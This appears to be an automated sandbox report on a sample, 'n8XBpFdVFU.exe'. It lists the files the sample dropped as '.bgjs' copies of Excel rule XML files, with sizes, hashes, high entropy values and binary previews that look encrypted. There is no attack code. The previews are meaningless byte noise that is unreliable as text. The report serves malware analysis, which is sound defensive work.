Preview:	<?xml.i.;..6.DIzS...9...).$..q].....0~.....#......$gH4T.f.ylt.!...`.xS.C..{k...3...ag.b.a".-..M.m...Cho..=.nP..'.$.g.....W.0zN`.W...U...w>...2.f......>...e.v.......iv#../.K...%IJ.8.....L.1j.o.~....la...J.e..{.......NIT........Lru.W...[R..7zs..6.....k....L..u..x.}..@...0.GcIpI_2eY.c.q.vi....f...Y'..L.....h..j..6.p.*,r.~..I....i......<.^#.j3.,.V ...x.<.....u.\|xy.3?.....y..y.t.........X.oA.a.1i.k.:.8.s......?U....x.E......W'K.}e....$.....g.-.)....u\|:.....N....5&...x..?..]..m..........J......j=c.d..".HI...f{m'H(.p.=!.3..s.v;....\...@.....M.v4.c.......x.....;@.E.Xq.....Kt....t..'.<]...~.......?."[.g..&..+..."...iR.n...=....Nj'...6....H..........-..'.u...`71Z....E]Ec.G.>.........lm......yc..B.,...u...Wc.....b7.....o\|..i.....#..A..Ig..&..z.x....I\"Kt.9.k.U..Z.j0.KQ%....Mc.^...).`...`...5S$.c..U...?........K......+.u..%~/......x..M...c..5Y...".p\|..P.L..E.GR.^.._......6....V.isv.C.+........g,o.z..<.....o.......%"S.o.#8......L....3....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.743310895390194
Encrypted:	false
SSDEEP:	24:MDqO6nE+j5ZzFodymR8cbRBlR8M/4EuUfz0bD:MDqOn4zAyMRBlR8M/zvSD
MD5:	E44CA766676E82D4A787982AB53411AB
SHA1:	08BCE9103A3E98C48FF924651B309A160CEDACE9
SHA-256:	0E103028206B2A4BF578FF419CA5705E47278F4F1020C7FA762B6277CA299437
SHA-512:	CB6570851B840DB5671CCD2443BDE75423E15114121DC109FC8787B2546C4D34461C9A7CC56E60F5AD67E83DBAD6C907BCBC9DD15A1C9F13DD08DDDFB239D6FB
Malicious:	false
Preview:	<?xmlg....`....!"\.p.Nx4..$.......JAu.ok..9...Y..g.9#......#..@...7... 9......J}.ah..)J.b!.;...8.C..\.;r0...........c%.T..XY..N.........}....?...]...1.3?...$.3.Y-..y!..c....&...e(t.........(.M.......z6.7.,.....c_x.xd1X?".3b>".M..L..2a...m...P.;.s...H....-U.EL.....\|.......w...`._5.m.....m.M.]t..!;.g.=..-..).K~C.!.5:..<K.S:.6`..Z...v.?VB5^....5.{~04w.A......]1.nBQ.@....L6.........W.4.@.."U. .\|.tW(.d.....D.)........kT..[.ro...).f..i;..Js-../.lB...r..N_..r/......Y.3..h..M..z.."").z2]Z...q."..q.fX..s.x..c}>....?.f.V....(...9u.g..F.<.:.`Q..j.,3...`.j..C>B.B.n.7..)f....~.....8.).Q......&...._....kP.P.mH...(..p....'...e....r.@V36...w.\|Rn..'..a.i&\......(...S.y..5..f.$h....#.8...s.>.e.L\...0.....H.?2..}.n.*...GSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.647181882757529
Encrypted:	false
SSDEEP:	12:gUlgjtsfOCwQz1Yw/wiAfs1jE6WcXd//Ivmwe5z3G7stK2ohaymb9/IRsq+f1+cq:7ly+Ok/w4I69/Aunsmboeb9/cs9sbD
MD5:	C9686DBBE538E4B906ECF40CDBFBFF65
SHA1:	275D6BEF1695B13A4EE326C46C9E8FE2EBAD5B4E
SHA-256:	DF94D859A7F324AA6887806435C8522DC3F0A7DF52162ED8D1517DE1DCF05794
SHA-512:	3DE2F635C3E8514FD191F4C78438DF73B24DED22C497F622CFDC3BE91022C55254DA78B56DF37D921B5054F12D2BEAF0F44D0F1698F5B57ABB08F52380B96709
Malicious:	false
Preview:	<?xml3t..?.d..R. ...O.%....Vo..:.E(.C.....p...\..F..../..4..JYV. +n.....m.o...T.Kv..j.....].~T.Q...]3.^.ou2I:Y....~;...{.5..%-....o........."{{.Ah.M..RE1..)......MT.W6.^.z.-....:..\|+.99.R4....S....^..i..?...O.,..&m.:r$.K}o>.9...>....J../......}....X8Tv.....c....:\....t5.....6.b...~h..JR8<../......%..h..i%.W..w...C.+...n...}b..Y.H[.....Xp...-..r.I^y....3J?.f..W...%yx%..O<y...j...U.....4...b...P..;.c.....h._...f......z1'gs.m..........rjW..#.O......GC.Y....D]<.._5..;....0.Fz.M/#c%!)_.U...y..H...(f../....h.\|.*.R.e,Q...^{)$.l..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.76464218485714
Encrypted:	false
SSDEEP:	24:HL+TKznCOYlLS+Yj1/UDLAT1pwtIhReWVc9/rgCsbD:HLXHYlLxqdUU1pwtx9jg7D
MD5:	6275047F0F9BE3685BD70D5E2E23115B
SHA1:	0E3067AC776C0603E03CEB597C40625D6F3E3E21
SHA-256:	341D4D5AA026947DD35D2B28249449128C5F4CB0D5835C49F990582A03073C0D
SHA-512:	ABDE06A30C798F859DEBD1410C905AA1846CE2D44DB6123FFDD16A28BFBFD7B85F3620742A430CD75BEBF374E329D9696E9A6593A5F5D2F4243A056A5B4D2ED7
Malicious:	false
Preview:	<?xml....{..<...H../.....L....Ue.8Zl.hC..9.h.}>/n...i,..1.".......g.I.M.........r....x.:s..X...4..A.\A...j.Y...mfB....L.8..n................/.W. ....../6...........'l.d....g%....[sG.z\....i.:J2...b[R<j!<.}\|.'.-..?Q..&..6..#....dFL.e..9>u".}Z.k.A.)m5*o.5...:...dFY\|...Y/,Z.].......I.&.\|_..#.w.k.kr;3................/h.{.......~-M]z..H..m.....O...4...v.FC..J.........m.:7....n.'.+.+@.mgt#M(?.#".....c.....b....?..Y..g..C.i.B.'8B.-k../...Z..........B)..j..{.....cG.7.!=...C&..B...r..Y .9..G...=......J.yH.ap!D.CP...^\|!.Tj.l....;..l$z6U._@...t.\..^....[u.h8....r..El.+IK..4a....R0.D.;.:\H..]...C%..z..A.m.p.t.\|.pE?..-0.......k'.It......f.....Qg.^L...P..2.I.._..^.lD\h..p.0.K2zq;.......ec..}:h..y.....]{_p...^..,`vT.:Q.9.B.HT...u...KRO.$N.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.966251431676572
Encrypted:	false
SSDEEP:	96:Rh3+KCzg40fhlwxAlgO9VClj62WLshQno9hTATQ/xIzzF06BR7uCpLCbWg:r3+KCze5ltlgqCleduhhCTl06HihZ
MD5:	28B32D2FECBF5BFACFFD8897DDCA6E83
SHA1:	AAC6F8E32EFC7B1F4E309B9DDFB8DC317DAD8675
SHA-256:	EB70B14542A767B7DB7A48DD02F284353687CFB5839D7369D2831A21046CD77D
SHA-512:	D03B141B7C781E50F0B40EB39B28FCCAB43FF4751716C280EC12F110E852A6C9E2E3267B98E0B29C4CAF2462E3DAC5F420FE161FE28A49A1C3236A9CA2EF0FF8
Malicious:	false
Preview:	<?xmlC.f.6#.v.n..G....../[....I.HO.n+......l.r......:.V.b.9.....L...#s....S\|K...X........{..1...w.5%..@...._.@..1]!...J'.K.+......M.h~.y-.=.).3.z.>}.E.#aU.z.2...6 +.p.'.zj%UK.......?eW........8..f........vm..q...rk..E..$.Cmi....+.D.....%6."...[.\4.....~....H..a..bzhE.+}..L. .......p....c...m..#.6.R.Y.Y.g.;A^.-.g..(.F.+...........S~_FV..$.8...+...jVS.....qb.h..<....\..`.%C93..'V....t.c....h.7#2o....x}w.....o..1..e7..MuW.K..d>.{;.GU...C..y.....E."&.....m...V.........z......Vf.Y.....Z..o......fn<[.Z..dL.]..5.d.P.i.....A..j'.Z.........9EMt...!l....^.W........lK..'S&nK...g.j.^.<;...2$:[u..t..H..(.q..K$.Mv...K>\|?.b....u@..:...k.=[.b)[..c..pOi.O ..Nur&..+....5...MYc....{?v.%j.'...p...S)...~JHT....V-.._.....\|Sc.Z..n`d...... ..0.#.y.........Vh. ....0.H7.qr.[.&...8.f.\....FD.b.C..uzi.o.qj.S....P)....}.."R..%.<.\|............%.Z.....b..s.JEg-..Z.L...}?._.\*..74.....W}a..h...VuFU...~.....cDr...."..]........^}.}2>H.o<.w.Y)...5.....wB<...j....}..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.8098759811475125
Encrypted:	false
SSDEEP:	24:gXjdyMya2Rn9c1uma6AKukBU0hSE4fY6wnsKqqcRGv6DKXXCbD:gTdy4wZ3KlBU0hSE4fYfCISD9D
MD5:	AF1C112F688615340E0D0CE406723A69
SHA1:	CF18BD079FFCB459C21D01B4DCA6B1FA2C897DC8
SHA-256:	6204A4DD4458ADFCD32B2F07FEEA4E8651FEEFB524DC1C69BD2C7B1D43AB8FE7
SHA-512:	D18011289D4B16F023323C61529D0CEACE6C21B58993A4FC8374BABDA646FD036AED4417DED9C9F7BC29A60D49D9859C930CCBDC655A11EE88EA362E31A6BD2D
Malicious:	false
Preview:	<?xml...!...".&.A...].....6.^........$.PQ!.O.._v....Z.C.......^Ohk......T..XA...b hb.....iL.....C...._...F. ..`.J!t..?..+..%....`....DY..D_.R. .Z..Y.\t..... .y(zq.9JB..%A.+:...o.........&<8......2.,.1.y...1.X......."qW...o.1r#.0.."....].^.R.I.R~+3eo@.x..bW.s..QS>?m......>.+.{.E......X.l.........31..p.7.K...<... I.z..L%.....,..%).4.Uh...r.^KDYT..s..k2.!..p.&..r.......N. .a-.E...V...G.D(........./....1. 3vV.A.YT/.A..i.Z..=.#........<.T.L...F.b..?KF.\%L.. ......O....fr.yiD..]Ad..7w7...o....[..5..Fr./,.V..,........+vA.'..&&..~.%..Z..I.S!..kN.8F..eu.x..0b.txn,....o...p.R.2.hX.x....j\|........S....5.....YBO...=.r=.......X...(@^Uu..#..........i5T..(.(..[C.m...M`>=.z.n..".%.b...Z.....p............f...x.x..\..(.x...c!L.C.....,....UI..^.e...)G.......M...:....f...J.R.gN.WI"....QZ.~9....y..../.u.6..MF...E..D.....V....20...O;....S.U....D<X...N..fj..j..T...K@....f.$f.S..N.iK....2p...[.._...?.q.Q.e...a.AESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.814457833066113
Encrypted:	false
SSDEEP:	24:kZ5K97ilHEtJV5Xphtf2+mGXM2qOJlQV2ii5htrvwLrRD/EbD:GqVzjdMTEQVmlwHRCD
MD5:	AC44CD35E1CE1050C5A12A49E983A46C
SHA1:	1C615D77F3ED414E84C84F6D35F1CC5242450BEE
SHA-256:	D9A9063B92EE7298D6F0EE8E7CB219AB1CC75D17A5CA90A663AF4BEC42C004E7
SHA-512:	08D74C80F185B7A5D2C0BD220CFF2157EAFDDA9CE237CC65C0AFCB17C7AF21E0F8B37FB134BEAFEE0A93B7C1694918EAD0DF75B49DAB37ECB55007F5542365F9
Malicious:	false
Preview:	<?xml..V;x+.....[..ZY..>.x..[.............Vi8.o1...rf..!..U..{..%..{....F....X=`..).M.....OWtk.....N.....MR..;.f.L...h.R..V.2...Z...e..O.....?.Zn....9..QN...C.r.#W..^T.{..]Oj.u..]..H9cd../..Ge.Dx.f#...(.D9l.....sH....-..2.c...K...o.O.y.ib..\U?Hi..z&.....{....u.8H.[...2.o.%1.\|;.{.Z......s.Q......:.+:A.g..s6zR~./...T....?.5.b..G..OWN.j.K4.b..g],..1..yY...4.0.V.....63........8;{.61.....q..b.(....C..5"....}...6..?4Dx..>.E...\:....n..U..o...;q.O..i....tL.h.o.........=.k..........~EA..T...u..vC...........r1.Qhu...a.+...y.e......G.....?..T.....7...E.x8.........w........:.s.k.Vx.B.."+aO..).Vf1\..5.y....O,.r./..].X.'..1.m....\.6...?nA...}I.YRw...W......J.\|M..b_.......Rw.,G....!o ...g.o.M[...z..eC..H.....Wb..N.Bd..[.f.S..._od...7.N.I.x......(I[.;...~U..).v....+c7C&m.O.&b.&.>oF"..Q....3=.......T+...r.>S..).a....&.ND.$Z3.9+*\z.?E'....1..+s..n....'...w.....9.w..D?$7!Rd...F..I.P...,..dB.......b.G.^.....1f%c....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.856755408984522
Encrypted:	false
SSDEEP:	24:O/zaW4RY6pZeWT8NPoTnE+E22S6Kk7SXXwrlrtogoQWE4KxJdlPDV6e6l78jbD:IUp0vNPoT152Sv4rPvZF45l70D
MD5:	B62D64AF3346737D1AAB7681CCCE89B4
SHA1:	DD8E92364DAF036600EB84DF92406B498F575939
SHA-256:	ED26E02DDDCEB7B39C92783C504D9E1FA0A448F88D35C553D7986C5BAC7FA7C0
SHA-512:	84ED6EEA3CE44644EB98BC60E5C3F37EA14E97AD73127C10C7CF132A2B6EC5604A4E93EE65FB5729172799B166FBE34A724C60D61BF8F17FCC3033F3E69D909A
Malicious:	false
Preview:	<?xml.V..aV..F........`;/.Dy.$.2........u.A.\K.c%.....@.s.-;.w.,.bo6...qb.GL.2.+ .el.w..RHt.&.MT...F.q{....(\|.cz..z.. I...(.....w..\._..s.U...b..4=.`.......@e..^I...<....@...X..?..&...XhRV.^.V.G....Q...\}.H.nL.U.3....h=....D~...;..vY......&w.5>.mn..s....[.w...k..}^E...^...]^.Y.;.@...#..oM..<w.?.<9.X.$z\,.<...N.....Y..a..7..g..X.....W\....H9.v.........D.wh...'..._......F.C...[.n.............-..a.Q.I....}....."#[Y..td.!<..........]B.>.^.D.o.j..<d..,!......f...6../.}...F.M4n..6-...n..-..d(.....:.`..=.j(.-.}WN>...DZ..'.&ss.~.?.f..k9W...\|..6...k...u.YN.n....d............W...;,i.=..+..SY.E>.+V.b.U[.rI....]T...E........K..C.X..i....9.....j.?.n4.g.=..... ....T...a...pJ..ph...vw.E8.\.!7@...5.YP~..{&4G.F........7z.X.>..M.;..K.F....3K\.....`..;}.y.N.O...B....Q.}..C...[.F..'.....jY.r....e6..2yx:..j.J.<kn..B..Do%+j.}.s.2R.tZh.N...`w...$x:@..n...0...5..{=.s..\O>.W.l2.2..E),2.m...F..b..........o3.x..J......)...T.2.<?..C),WGK3.z..SJ\..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.78699687029969
Encrypted:	false
SSDEEP:	24:eakhHx8KFn1463Gu16PG0L1f42oVpN5ivUnewNCQclBfqg5w8bD:eaCqijAGiwVpy8ewcQcjp3D
MD5:	3F01FE3A953AD8D31B43C3F83EC56A1E
SHA1:	A54428EFDFF244827DF0A55049293E6E57DB6E69
SHA-256:	4B0342259EF4EA658137AB4A9D57C774EB18119CBB49A3E1054CA97A1141C9DE
SHA-512:	44E18AF43FEAB4FB78EFE21CCC742F71EC80BF74D6FFEBB28B292AF8536562CF335F82ADBDB3313BA9D6A5100E33168BABD4A8A9E4D0183655EF058CDDAD9D42
Malicious:	false
Preview:	<?xmlG..m..>g`...O.[x;.(.'......).1.I7...r..#...+..aU...H.E.TXY..._.%.N;.P<..U."[.k.r...e.sy5.Y.o.m-..uh:rJ..-....._.Q.\|.m...fy<6.....e+2J./:...D..i+.w<.o..#@S.g:...B.b00.h...31......-&....@..r..8.....f ..,9X.]..M.....I..:80......0:Uh]Xq...._b.....z.C.d.c..-"`........k..=...q/....j\.(.Q............a%..E.....n......(.X...SY>s..2.'.q..N..x.d.&iT...Q.L.NK\|.y.X.r.....$..F....lg.......Y .bb.`Y...!.U.q..<ng;..Y#.E.....%..WE..&........D.V....8u...%y..C....u.QY..^*.4g.^.?....E....e....}.(c....Y>.~p:,e..<u.....O..wA%.{./....1g...9..(.d.{..z.K...{bS....p/....Ta3..<...Jjl...Y.r...R..G.....r...r.4..J.b.}..R.k...7.j...iJXf...._~..W..{.)......7..,f..B?....\|zE.:c..,..f. _.{...Z..A..-.jD.....5.C..0u..h....xW8.Io.]... Ji.....f%q.7.n...r.Q.%....!..]q.3.y.a..7..#9.......~......Y.V...3.'.kx.....zT.mL.fB8h....9.cF.{.....}..B.P.diE1..b&.c.#...(b..F.........Q.".....Mv..K...G1.m.g..h...zi..A@....6.k.m..M.hd....]..Us....M.k.W..<.N'x].'.~..hS).)Wp..f...SLiby

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.831134404471739
Encrypted:	false
SSDEEP:	24:TqRRkAa50Kmoh6+/cPmvkWvqpWVC/egBf0bGBsgjbD:Tq/kh5ThBUlKqwVCTBcCD
MD5:	00F3B241040CEEAD8C35847A6412EA91
SHA1:	5A7716247DB3278FDE34BD703626FBEBD4818AE0
SHA-256:	2AA559E388BE0DB02C6DE7BCD641229B2E3A96B5EB18E0CBEA761AD51D40D99A
SHA-512:	F1046ADEF19C7281BF9B80AD6AF1B01BD07D348DC8D90130495BF375AC0F83FF39D00B6EB20674FE1622504FF9E30C6C74823C73E667C859613BEEC8ECC8C09F
Malicious:	false
Preview:	<?xmlR)..-<...'.=@3..dzB..._f..^V..KR.x..b.....O..../S...d.<.......pC2.`.:...U."..y.SM...jVk....5.]..........G..n.5.7"....Ak...k....V}!.....Y.......6.A.O....0.j.9..{...4<TaQb...f.v..mY]$.@...o.......A}9....)..$h...^z..;Qf.<'..j.&.A.a..?....lD,["Hb..T.l......d....6.&.Q...K5..`.N.]..'...M...?h..........s.u...$..!zA.N.9....x+....,}M..."....mx.,..%.Z;/sk.....m..b...:.R.2....Q..[.O=..s....Wj!...X.H;A..Y;..gy.J............]....0..}.K.w.$(.....?..1..G.CqG..w..L.....W..B.L...$y..g....>..)P..._.....eR0.:("C.z.e..5..{..<..+.t...^.v..`.Y....$....q..u.0]h[..'.U%<..2...S.;..8.z...".{...1....:.5VFsv....?..hl.~xi.!e.8..`.5........Zl.j5.......s....vu6peX}..6..,.U......6..J.3jV:Y.F..7......^0.....Kx.\..3..m.aj!.j....d.e..(..d..!.u..i?Ljn..v;.Gr.~.rH\|.A.\....T.BBp.%...;0....d.~B.......8EV+...l.e...W..^.LD.8Kh.$"...S.......T.FN0.<. ....-=.......&..k....,o.0.n.q.t.mZX.d.u.....{...,f.U.....T...lU.S.GCc.$T{\D\...:.].........2.i.....v...4S].i.......3.m.Oz3._....2

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.894513754831089
Encrypted:	false
SSDEEP:	48:Fz+qCqMc1VNgH7to4DWmdSEGyb0694KHGMx05FDnxlH0D:p+qzVmtoAWLfyaKHGr5FDnxpg
MD5:	EEAE0AC9FC2EE24915EEBA4A35711D7A
SHA1:	B9E38B78B057FC6F00A140E01C93E841B21858E0
SHA-256:	C87031DFBD045FC751ABDE0D2A46EE91F080D6E00ACBF1AFE1E655FD433F1488
SHA-512:	8124448A958CA07A19694A7DF1E30BD0903C91674FEB3933ECDB36B3C7511E83F069ED58947AC8D175A4548DB4BD40BD17F4162FE4492F75427A60895704F867
Malicious:	false
Preview:	<?xml.;...R..Z..4...u...".....5.F.mcDP...0.<..m...G...C..W..9...L.H..q7.....'9....0.....Ps....2...@.._.........f]..I....B.f&n.u...`..'"N..v.j.C.......a6.{....8pl..h4"..u3...r..4.=f...=[H..wX...()={]..;..'y74...H V.{1...S.....(2.h...(...C.,.L..l..ui...`J..bm?=-xi`..f...{.5do..)4...PP....... s...h.u..TJ.5......k....hm.:D:.?...f.?u.#.6T....`...t.pH..C..A....L..q.m.M.&F.D8...U...........b.....FU5...m?I.g.L.0..7P.u....A..c.C\|"L..~x1/.9.{...mV...q..v...kJ......Y.j.l.D9..aeU.h..c.<.#.'.....Sn...q..t.'A!.;..Q5.......t..{.......5.v...=.h)....s.=..{5@.$m..1..[.....S....u......eR..r..G.@[.4nb0~.~4.P...r@......(e.....^`..pZ..:..V.Bi ....^..SlX.,P./...,_G.w..._d.[..(@.0C..xj....y.p...e9....+..[4../..x]..O..E..U....,O..{...I..?..9e6...=..8s.q...WY..BsM.l.,...tqf.-u(."6T.-l..............y.....~;.q.o{..<....K[..j....& 1.:.8.....V........#.C..u.N..=-..{.W....9.P'j...... ..6..h).]....h.@...2...g...,{]0.}..Q.IK8...=..Q..Fu.p...._.y<b.9..,..z....g..Y.w5...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.6668722660874
Encrypted:	false
SSDEEP:	12:8YCALd/aT1neCSPOo2cIMqf9dXsLjbGcbEw+TWa/NSdgmkpMSHlDlCK8HDH1+ciD:hRd/adeCSPOo2cINdXsnrEw+Sa/weiCj
MD5:	E0124A4425C73926AB76089927C77F13
SHA1:	A69F74777D5FCFB00E7A685ADDB4ACB19B9538C9
SHA-256:	5CF0EC271814DD8AF1C3C28B4FC44F61A7319EB9F2E4F0C81692CE36802B6A79
SHA-512:	8C22B0EF1FC8E968316B12F610ADB4089BB4DB4330D7902DE0AF2B67DF3C0BAA5FFC934C14620271395601C361697461192837005AC0D7FAB8EE3DD8805C5260
Malicious:	false
Preview:	<?xmlk.e..(.r>.Ap\.........1...@...aP.Fv.o..B#.3.7..e..-qk=\|!...../}TRU..tD<....5.......}...+tb...7..,~G..T]3..L...aK.......G?.7...uy...O.\|.y.M.._.o.0.9.......3@.@....sNKynQ@...3+.tk.M#...8.%>w..m......+P......}..6.,c...A....0.4.JT.k..N...m.?I5.....4s.....-......).....:.E.\|:A...5..Z.r.....!y.e........=q.5.....3...7.d_.\|...i..y....U7.S..9.\|&..f...:.FSU{..yk..S....}:i..1...Q..7.LI(.Z..LZ....B.s.Ihf.x...t..U=z....o....V.....U.(.u....T.R.3:^./......--...~..;.l..gF.L.%..u......4,...F.7.0..#k...n.K...{...........zz.^...O+.....O.A..w..O..:.w.Hk..<,....v.:..dv.D#..\.XW...<..X.s[:.(......@E]T0.n..f..p.].C..nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.893471497925273
Encrypted:	false
SSDEEP:	24:yfRCgiMUkewrzPNPEgOV0hE9ZWL0wvjPN8RqW7jGwXrxWAp6jgsoZFgVjbD:MRn15prpPEg3hE9ZUuRTGArcAp6ToT8D
MD5:	EC27F320B9BE1A312A4281151CC51552
SHA1:	0FFE4128F2973A38D7D60E176380E7107308596C
SHA-256:	8D1689EC8A90D26209B524A86E64E98BD7EFF03F076D2FDA99874FD7CAA977D8
SHA-512:	CF56B37820764D96E0AEDBEFCE0EC18BF8F9B450A736D6948933DF7A4C4A28C90380A9FBF30CFE1BC1295C23C84CC2A9EE69513DF0685B983292D136E3A6ECBA
Malicious:	false
Preview:	<?xml..4..I3..u.P...D....x.4>....s.J....N./....z.......:1..9.w..6.9i...e.......!..-.<...P....gM.e.2Q...F..[.\|~.U.y;.4._.....a.%.ND.x...g..e.).d..9.&1 ....{kw...."...H...%. b........y8.!8g......;...Kn..=..t.....}..3....+..2.Q.......&:...ctj..b........Q....r..7.E....~..Z....$>Z...D.4...P..6...~G.i0....F...p..4=.i..m..%@#...@..U......jF.-&.Xm..l.-b.N^[...@,.....k?.w..k....T...a.LV.s.T.{4...1e~..qJ..I..]..OJ.......T.....-..j.x.,>nF..%....w..KD.q...]i\:....,....{..^.#.E.#...f[f3..S.h.....B.@.aM./`......R....A...S.;.kA\S...&... ."t..b.Qs.t.-..)....1..~..../..BF..^&..]d"g#i.1..;. .A[...2.........&+S.1.D..<....Ps......Uo.....jp..#.^>-..g..Y...+..8..4w~..N-..].%..>1+z./..0;.............0....]a....T.^`........`....z.qP.%)....^~.lG6...Nr.....Y'.Y..7.i..:.!.R..{.BV.nT...G..K.MQ........SJ..,{.h.L.......M....T&:.C.^.EEyx.~.2....a..........U.....Q....v....9;...ZW.W...^..v.. .t.x..ed`.'1.B...BIc...(..We.,>........)5$.....3u..H....cb)%..9.O....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.916431637202839
Encrypted:	false
SSDEEP:	48:rzD3whjq2jkwNNcKyNwg+SCMO6NGYIY7pIa1lrEiAHD:nMq2Iw7ZyNwg+SCMoX/klNAj
MD5:	FC0C15F0C632D1BF5914B547E3BA9717
SHA1:	FBDC097201B4E58299BD43DD4CBECF50066C4D9A
SHA-256:	4369D63254F7899C1E15736880E3AD644DCE9C09D522866352C6ADEA4DECDDF6
SHA-512:	5BC6C77BAB56A297DF3890FD286619CC0D66F194733D7E14A76BB0E93CDB40D2AB136A8E8289D64A63F4C482AC9AA533028451489B8E274FCB12DC9EC69716A7
Malicious:	false
Preview:	<?xml^.........^i.?....f..`...>.6...l..:J.....A....$..3...7/y3Y.l.32...8.hn.x..F.....k..z.......h..T..B.G....YE......N.V0Hp5. ./L.h..G......^u6..In.35.5../@.au..X.u..Y......TP.8.....^.w,b..K........x.@...e....?...._4XO.... <3..5.....q.-}S..I.2......zL`...<..VU%..&..5...sA....../Z._.j..H.u.0...A....P..y....,.(....&.S.".T.........NY..^..v.m.......`;B.u.]#w...CZsz..5B..K....nB.....0 .p.[..z..U...[...R..5..../.W....P,.W14.\|#.:.;.D...1.%..^X..^........=..4M..v.?\|n..zIS&%....-.........o&0$)]".9.............@.O...M,l..P0..O..C...:8.....B...&'............);y%.22X..G..KYg..f.j.i.....qJ.^..k:r...Gx....c4..;.\|O.....W..=._L:....C.[z../.=.q\|;..2)...".8.....T.W...\|Y.....i)....?..U.?...9.E.Z. .._'...."..w....(..h..L.N(..j....hO..LK......g...$..A.....~....*.u..[M...A.b.,v>v..WkL..k#.Z.U."d.{....$.r.>0..{...[....Q.w.).\u...7B.LZ....`..s....O]MQ.....].&...I2lt....0j....km(..g..)jHdN..J.d4.v)..8.2.}B#...At..Z(...m\.......1!....f..Z..S.6.9c.......}.@k..V

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8931141640171125
Encrypted:	false
SSDEEP:	48:MJqMMeeJflPnxBxmrXuh7a42177QQ0FfcC4xMaD:M07Pnpn24hF4xh
MD5:	987EB707BCCFE3D0F7016E072FF1E763
SHA1:	80343EE47D7A99E039FB9C6E4294475E218B2DF5
SHA-256:	73D2BF0303E3658534348ADF13EC81819AECBAB3CAB40402A72AFD3007624F56
SHA-512:	0B07A7874B70FCBCEF972DDA7500F9BA9E96B3979D0B6C2A68F18714D40A316B655D9A703D1BF05485E42AADBC72CE59795D3B4FEFF32E87F05214A9AE922CB5
Malicious:	false
